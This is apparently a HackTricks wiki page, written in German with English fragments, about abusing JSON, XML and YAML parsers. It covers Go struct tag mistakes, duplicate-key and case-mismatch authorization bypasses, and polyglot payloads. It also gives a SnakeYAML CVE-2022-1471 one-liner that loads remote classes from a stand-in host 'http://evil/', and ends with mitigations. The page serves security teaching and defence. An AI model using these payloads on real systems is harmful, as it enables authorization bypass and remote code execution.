JSON, XML & Yaml Hacking & Probleme
Reading time: 6 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Go JSON Decoder
Die folgenden Probleme wurden im Go JSON erkannt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in this blog post veröffentlicht.
Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to bypass authentication, escalate privileges, or exfiltrate sensitive data.
(Un)Marshaling Unexpected Data
Ziel ist es, structs auszunutzen, die einem Angreifer erlauben, sensible Felder zu lesen/schreiben (z. B. IsAdmin, Password).
- Beispiel Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Common Vulnerabilities
- Missing tag (kein Tag = Feld wird standardmäßig weiterhin geparst):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
- Falsche Verwendung von
-:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Richtiger Weg, ein Feld davon abzuhalten, (un)marshaled zu werden:
type User struct {
IsAdmin bool `json:"-"`
}
Parser-Differenzen
Das Ziel ist, die Autorisierung zu bypassen, indem man ausnutzt, dass verschiedene Parser dieselbe payload unterschiedlich interpretieren, z. B.:
- CVE-2017-12635: Apache CouchDB bypass via duplicate keys
- 2022: Zoom 0-click RCE via XML parser inconsistency
- GitLab 2025 SAML bypass via XML quirks
1. Duplicate Fields:
Go's encoding/json nimmt das letzte Feld.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Andere Parser (z. B. Java’s Jackson) könnten das erste nehmen.
2. Groß-/Kleinschreibung: Go ist gegenüber Groß- und Kleinschreibung unempfindlich:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Sogar Unicode-Tricks funktionieren:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Cross-Service-Fehlanpassung: Angenommen:
- Proxy in Go geschrieben
- AuthZ-Service in Python geschrieben
Angreifer sendet:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python erkennt
UserActionund erlaubt es - Go erkennt
AdminActionund führt es aus
Data Format Confusion (Polyglots)
Das Ziel ist, Systeme auszunutzen, die Formate mischen (JSON/XML/YAML) oder bei Parser-Fehlern fail open sind, wie zum Beispiel:
- CVE-2020-16250: HashiCorp Vault hat JSON mit einem XML-Parser geparst, nachdem STS JSON statt XML zurückgegeben hatte.
Der Angreifer kontrolliert:
- Den Header
Accept: application/json - Teilweise Kontrolle über den JSON-Body
Der XML-Parser von Go hat es trotzdem geparst und der injizierten Identität vertraut.
- Crafted payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Ergebnis:
- Go JSON parser:
Action_2(Groß-/Kleinschreibung wird nicht unterschieden; letzter Eintrag gewinnt) - YAML parser:
Action_1(Groß-/Kleinschreibung beachten) - XML parser: parst "Action_3" innerhalb des Strings
Bedeutende Parser-Schwachstellen (2023–2025)
Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein mehrsprachiges Problem ist — nicht nur ein Go-Problem.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Betroffen:
org.yaml:snakeyaml< 2.0 (verwendet von Spring-Boot, Jenkins, etc.). - Ursache:
new Constructor()deserialisiert beliebige Java-Klassen, wodurch gadget chains möglich werden, die in Remote-Code-Ausführung münden. - One-liner PoC (öffnet den Taschenrechner auf dem verwundbaren Host):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Fix / Abhilfe:
- Upgrade to ≥2.0 (uses
SafeLoaderby default). - On older versions, explicitly use
new Yaml(new SafeConstructor()).
libyaml Double-Free (CVE-2024-35325)
- Betroffen:
libyaml≤0.2.5 (C library, die von vielen language bindings verwendet wird). - Problem: Das doppelte Aufrufen von
yaml_event_delete()führt zu einem double-free, das Angreifer in DoS oder in bestimmten Szenarien in Heap-Exploitation verwandeln können. - Status: Upstream hat es als „API-Misuse“ abgelehnt, aber Linux-Distributionen lieferten die gepatchte 0.2.6, die den Pointer defensiv auf NULL setzt.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Betroffen: Tencent RapidJSON before commit
8269bc2(<1.1.0-patch-22). - Fehler: In
GenericReader::ParseNumber()erlaubt ungeprüfte Arithmetik Angreifern, riesige numerische Literale zu erzeugen, die umschlagen und den Heap korruptieren — letztlich ermöglicht das Privilegieneskalation, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.
🔐 Gegenmaßnahmen (aktualisiert)
| Risiko | Fix / Empfehlung |
|---|---|
| Unbekannte Felder (JSON) | decoder.DisallowUnknownFields() |
| Doppelte Felder (JSON) | ❌ Keine Behebung in stdlib — validieren mit jsoncheck |
| Fallunabhängiger Abgleich (Go) | ❌ Keine Lösung — struct tags validieren + Eingabe vorab kanonisieren |
| XML garbage data / XXE | Verwende einen gehärteten Parser (encoding/xml + DisallowDTD) |
| Unbekannte YAML-Schlüssel | yaml.KnownFields(true) |
| Unsichere YAML-Deserialisierung | Verwende SafeConstructor / auf SnakeYAML ≥2.0 aktualisieren |
| libyaml ≤0.2.5 double-free | Auf 0.2.6 oder eine von der Distribution gepatchte Version aktualisieren |
| RapidJSON <patched commit | Mit der aktuellen RapidJSON (≥July 2024) kompilieren |
Siehe auch
Quellen
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks